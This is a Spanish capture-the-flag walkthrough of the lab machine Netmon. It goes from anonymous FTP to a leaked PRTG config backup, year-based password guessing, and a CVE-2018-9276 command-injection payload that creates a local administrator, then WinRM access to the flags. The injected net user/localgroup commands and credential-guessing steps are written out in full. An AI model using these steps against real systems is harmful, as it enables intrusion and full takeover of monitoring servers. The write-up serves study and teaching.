Netmon
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. El21permite FTP anónimo con acceso a todoC:\. EnC:\ProgramData\Paessler\PRTG Network Monitorhay unPRTG Configuration.old.bakcon la credencialprtgadmin:PrTg@dmin2018. La contraseña está caducada (viene de un.bak), pero subiendo el año aPrTg@dmin2019entra al panel de PRTG Network Monitor 18.1.37, vulnerable a CVE-2018-9276: el campo de parámetros de una notificación se concatena a una llamada de PowerShell que corre como SYSTEM/Administrator. Inyectando;net user ... /add;net localgroup administrators ... /addse crea un administrador local, y con él se entra por WinRM a por ambas flags.
Reconocimiento
Ping
Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).
ping -c 1 10.10.10.152
64 bytes from 10.10.10.152: icmp_seq=1 ttl=127 time=101 msTTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo de puertos
Un escaneo completo de puertos TCP (-p-) revela varios servicios: FTP (21), HTTP (80), el bloque SMB/RPC de Windows y WinRM (5985):
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 10.10.10.152
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open wsman
47001/tcp open winrm
49664-49669/tcp open unknownTrece puertos son demasiados para copiarlos a mano, así que extractPorts (una función del .zshrc) resume el fichero -oG y los deja en el portapapeles:
extractPorts scan
Extracting information ...
IP Address: 10.10.10.152
Open ports: 21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669
Ports copied to clipboardEl -sCV sobre esos puertos lo resume todo de golpe: FTP anónimo abierto, un PRTG Network Monitor en el 80 y el bloque SMB/WinRM de Windows Server:
nmap -p21,80,135,139,445,5985,47001 -sCV 10.10.10.152
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-title: Welcome | PRTG Network Monitor (NETMON)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
47001/tcp open http Microsoft HTTPAPI httpd 2.0
49664-49669/tcp open msrpc Microsoft Windows RPC
Service Info: OS: WindowsTres piezas marcan el camino: FTP que acepta anonymous, PRTG 18.1.37 (una versión concreta) y WinRM (5985) como vía de entrada si conseguimos credenciales de administrador.
TCP 80 - PRTG Network Monitor
whatweb confirma la tecnología y, sobre todo, la versión exacta: PRTG/18.1.37.13946:
whatweb 10.10.10.152
http://10.10.10.152 [302 Found] HTTPServer[PRTG/18.1.37.13946], PRTG-Network-Monitor[18.1.37.13946,PRTG], RedirectLocation[/index.htm], X-XSS-Protection[1; mode=block]Hay un login de Paessler PRTG, pero admin:admin y similares no entran:

PRTG es un producto comercial de monitorización; la versión 18.1.37 se anota para buscar vulnerabilidades. Antes, el FTP anónimo merece una visita.
Acceso como prtgadmin
TCP 21 - FTP anónimo y la config de PRTG
El FTP anónimo da acceso a la raíz C:\ completa. PRTG guarda su configuración en C:\ProgramData\Paessler\PRTG Network Monitor, donde además del fichero activo hay copias de seguridad:
Entramos con el usuario anonymous (sin contraseña) y confirmamos que se lista la raíz C:\ entera (Program Files, Users, Windows, ProgramData...). Bajamos a ProgramData, donde vive la carpeta Paessler:
ftp 10.10.10.152 # usuario: anonymous
ls -la
cd ProgramData
dir
230 User logged in.
Remote system type is Windows_NT.
ftp> ls -la
02-03-19 08:05AM <DIR> Documents and Settings
02-03-19 12:28AM <DIR> Program Files
12-15-21 10:40AM <DIR> ProgramData
02-03-19 08:08AM <DIR> Users
11-10-23 10:20AM <DIR> WindowsDentro de Paessler\PRTG Network Monitor, junto al fichero de configuración activo, hay copias de seguridad; descargamos el .old.bak:
cd Paessler/PRTG Network Monitor
ls -la
binary
get "PRTG Configuration.old.bak"
ftp> ls -la
...
02-03-19 12:18AM <DIR> Configuration Auto-Backups
09-27-25 07:55AM <DIR> Log Database
02-25-19 10:54PM 1189697 PRTG Configuration.dat
02-25-19 10:54PM 1189697 PRTG Configuration.old
07-14-18 03:13AM 1153570 PRTG Configuration.old.bak
09-27-25 07:56AM 1639822 PRTG Graph Data Cache.dat
226 Transfer complete.
ftp> binary
200 Type set to I.
ftp> get "PRTG Configuration.old.bak"
229 Entering Extended Passive Mode (|||51284|)
150 Opening BINARY mode data connection.
100% |***************| 1153701 bytes received in 00:02 (395.95 KiB/s)
226 Transfer complete.El PRTG Configuration.old.bak es un respaldo antiguo. Buscando la cadena pass aparece una credencial de administrador en claro:
cat "PRTG Configuration.old.bak" | grep -i "pass" -B 5 | head -n 30
<dbpassword>
<!-- User: prtgadmin -->
PrTg@dmin2018
</dbpassword>Antes de probarla, la guardamos aparte para no volver a teclear un @ y un ! entre comillas equivocadas:
echo 'prtgadmin:PrTg@dmin2018' > ../content/credentials.txt
cat ../content/credentials.txt
prtgadmin:PrTg@dmin2018Password guessing por año
La credencial prtgadmin:PrTg@dmin2018 no entra. Se teclea tal cual en el formulario:

10.10.10.152/public/login.htm?errormsg=Your login has failed. Please try again!&loginurl=
Login Name: prtgadmin
Password: PrTg@dmin2018Y el panel responde "Your login has failed". Es de un fichero .old.bak, así que probablemente la cambiaron:

El patrón PrTg@dmin<year> invita a probar el año siguiente. Probamos prtgadmin:PrTg@dmin2019:

Y PrTg@dmin2019 funciona, entrando al panel de administración de PRTG:

Una contraseña vieja rara vez es inútil: revela el patrón que el administrador reutiliza. Subir el año es el ataque obvio.
Shell como Administrator
CVE-2018-9276: command injection en las notificaciones de PRTG
PRTG < 18.2.39 arrastra CVE-2018-9276: el sistema de notificaciones permite ejecutar un programa y pasarle parámetros, y ese campo de parámetros no se sanea antes de concatenarse a una llamada de PowerShell que el servicio ejecuta como NT AUTHORITY\SYSTEM / Administrator. Un ; separa comandos, igual que en cualquier inyección de comandos.
Una búsqueda de "PRTG Network Monitor command injection" lleva a un artículo con los pasos exactos (crear una notificación, elegir un script PowerShell demo e inyectar en sus parámetros):


Ya autenticados como administrador de PRTG, navegamos a la sección de notificaciones en Setup → Account Settings → Notifications:

Ahí pulsamos Add new notification:

Le damos un nombre a la notificación (test):

Bajamos a la opción Execute Program, elegimos el script Demo exe notification - outfile.ps1 y en Parameter inyectamos el payload que crea un usuario y lo mete en administradores:
test.txt;net user jaime j4ime! /add;net localgroup administrators jaime /add
Se guarda y se dispara la notificación manualmente. El comando corre como Administrator y crea la cuenta:

Validamos la cuenta nueva con crackmapexec, que además marca Pwn3d! (es administrador local):
crackmapexec smb 10.10.10.152 -u jaime -p 'j4ime!'
SMB 10.10.10.152 445 NETMON [*] Windows Server 2016 Standard 14393 x64 (name:NETMON) (domain:netmon) (signing:False) (SMBv1:True)
SMB 10.10.10.152 445 NETMON [+] netmon\jaime:j4ime! (Pwn3d!)Flags
Con un administrador local, Evil-WinRM da shell y ambas flags (root incluida, al ser admin):
evil-winrm -u jaime -p 'j4ime!' -i 10.10.10.152
4c90d4308d1dcf083088287302ce1200 # user.txt
62a572d69cae590c636360eb94fcb5dc # root.txttype C:\Users\Public\Desktop\user.txt
type C:\Users\Administrator\Desktop\root.txtCadena de ataque
nmap (21 ftp-anon, 80 PRTG 18.1.37, 445 SMB, 5985 WinRM)
└─> FTP anónimo → C:\ProgramData\Paessler\... \ PRTG Configuration.old.bak
└─> credencial caducada prtgadmin:PrTg@dmin2018
└─> password guessing por año → PrTg@dmin2019 (panel PRTG)
└─> CVE-2018-9276: notificación Execute Program con ; en Parameter
└─> net user jaime + net localgroup administrators (como Administrator)
└─> cme smb (Pwn3d!) → evil-winrm → user.txt + root.txtLecciones aprendidas
- El FTP anónimo con acceso a
C:\es un desastre por sí solo: expone ficheros de configuración, copias de seguridad y rutas de aplicaciones. PRTG guardando sus credenciales en un.bakaccesible es el fallo de raíz. - Una contraseña caducada vale por su patrón.
PrTg@dmin2018no entraba, pero delató el esquemaPrTg@dmin<year>. Probar variaciones (año, sufijos, mayúsculas) antes de descartar una credencial encontrada. - CVE-2018-9276 es un recordatorio de que cualquier campo que termine en una shell (parámetros de un "ejecutar programa") es command injection en potencia. PRTG ejecutaba esas notificaciones como SYSTEM, así que la inyección da el nivel máximo de una.
- Identificar la versión exacta (
18.1.37) lleva directo al CVE. La monitorización es software privilegiado por naturaleza (necesita ver todo el sistema), y un fallo en ella suele significar control total.